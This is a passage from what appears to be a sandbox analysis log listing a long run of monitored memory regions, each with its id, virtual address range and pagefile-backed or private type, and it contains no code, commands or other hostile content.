filename = "" Region: id = 7411 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7412 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7413 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7414 start_va = 0x7c60000 end_va = 0x7d5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007c60000" filename = "" Region: id = 7415 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 7416 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7417 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7418 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7419 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7420 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 7421 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7422 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7423 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7424 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7425 start_va = 0xf140000 end_va = 0xf33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000f140000" filename = "" Region: id = 7426 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 7427 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7428 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7429 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7430 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7431 start_va = 0x710000 end_va = 0x710fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000710000" filename = "" Region: id = 7432 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 7433 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7434 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7435 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7436 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7437 start_va = 0xf340000 end_va = 0xf73ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000f340000" filename = "" Region: id = 7438 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 7439 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7440 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7441 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7442 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7443 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 7444 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7445 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7446 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7447 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7448 start_va = 0x8fd0000 end_va = 0x90d4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008fd0000" filename = "" Region: id = 7449 start_va = 0x9140000 end_va = 0x914ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009140000" filename = "" Region: id = 7450 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 7451 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7452 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7453 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7454 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7455 start_va = 0x9150000 end_va = 0x9255fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009150000" filename = "" Region: id = 7456 start_va = 0x8fd0000 end_va = 0x90dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008fd0000" filename = "" Region: id = 7457 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 7458 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7459 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7460 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7461 start_va = 0x9150000 end_va = 0x9263fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009150000" filename = "" Region: id = 7462 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 7463 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7464 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7465 start_va = 0x8fd0000 end_va = 0x90e9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008fd0000" filename = "" Region: id = 7466 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7467 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 7468 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7469 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7470 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7471 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7472 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 7473 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7474 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7475 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7476 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7477 start_va = 0x9150000 end_va = 0x9263fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009150000" filename = "" Region: id = 7478 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 7479 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7480 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7481 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7482 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7483 start_va = 0x8fd0000 end_va = 0x90e3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008fd0000" filename = "" Region: id = 7484 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 7485 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7486 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7487 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7488 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 7489 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7490 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7491 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7492 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 7493 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7494 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7495 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7496 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 7497 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7498 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7499 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7500 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7501 start_va = 0x9150000 end_va = 0x9261fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009150000" filename = "" Region: id = 7502 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 7503 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7504 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7505 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7506 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 7507 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7508 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7509 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7510 start_va = 0x8fd0000 end_va = 0x90e6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008fd0000" filename = "" Region: id = 7511 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 7512 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7513 start_va = 0x9150000 end_va = 0x926afff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009150000" filename = "" Region: id = 7514 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7515 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7522 start_va = 0x8fd0000 end_va = 0x90f5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008fd0000" filename = "" Region: id = 7523 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 7524 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7525 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7526 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7527 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7528 start_va = 0x9150000 end_va = 0x9273fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009150000" filename = "" Region: id = 7529 start_va = 0x8fd0000 end_va = 0x90f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008fd0000" filename = "" Region: id = 7530 start_va = 0x9150000 end_va = 0x9279fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009150000" filename = "" Region: id = 7531 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 7532 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7533 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7534 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7535 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7536 start_va = 0x8fd0000 end_va = 0x90fcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008fd0000" filename = "" Region: id = 7537 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 7538 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7539 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7540 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7541 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7542 start_va = 0x9150000 end_va = 0x9279fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009150000" filename = "" Region: id = 7543 start_va = 0x8fd0000 end_va = 0x9105fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008fd0000" filename = "" Region: id = 7544 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 7545 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7546 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7547 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7548 start_va = 0x9150000 end_va = 0x9289fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009150000" filename = "" Region: id = 7549 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 7550 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7551 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7552 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7553 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7554 start_va = 0x8fd0000 end_va = 0x9100fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008fd0000" filename = "" Region: id = 7555 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 7556 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7557 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7558 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7559 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7560 start_va = 0x9150000 end_va = 0x928bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009150000" filename = "" Region: id = 7561 start_va = 0x8fd0000 end_va = 0x9107fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008fd0000" filename = "" Region: id = 7562 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 7563 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7564 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7565 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7566 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7567 start_va = 0x9150000 end_va = 0x928efff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009150000" filename = "" Region: id = 7568 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 7569 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7570 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7571 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7572 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7573 start_va = 0x8fd0000 end_va = 0x910cfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008fd0000" filename = "" Region: id = 7574 start_va = 0x9150000 end_va = 0x928dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009150000" filename = "" Region: id = 7575 start_va = 0x8fd0000 end_va = 0x9118fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008fd0000" filename = "" Region: id = 7576 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 7577 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7578 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7579 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7580 start_va = 0x9150000 end_va = 0x928efff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009150000" filename = "" Region: id = 7581 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 7582 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7583 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7584 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7585 start_va = 0x8fd0000 end_va = 0x9112fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008fd0000" filename = "" Region: id = 7586 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 7587 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7588 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7589 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7590 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7591 start_va = 0x9150000 end_va = 0x929ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009150000" filename = "" Region: id = 7592 start_va = 0x8fd0000 end_va = 0x9125fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008fd0000" filename = "" Region: id = 7593 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 7594 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7595 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7596 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7597 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7598 start_va = 0x9150000 end_va = 0x92a7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009150000" filename = "" Region: id = 7599 start_va = 0x8fd0000 end_va = 0x9126fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008fd0000" filename = "" Region: id = 7600 start_va = 0x9150000 end_va = 0x929dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009150000" filename = "" Region: id = 7601 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 7602 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7603 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7604 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7605 start_va = 0x8fd0000 end_va = 0x912bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008fd0000" filename = "" Region: id = 7606 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 7607 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7608 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7609 start_va = 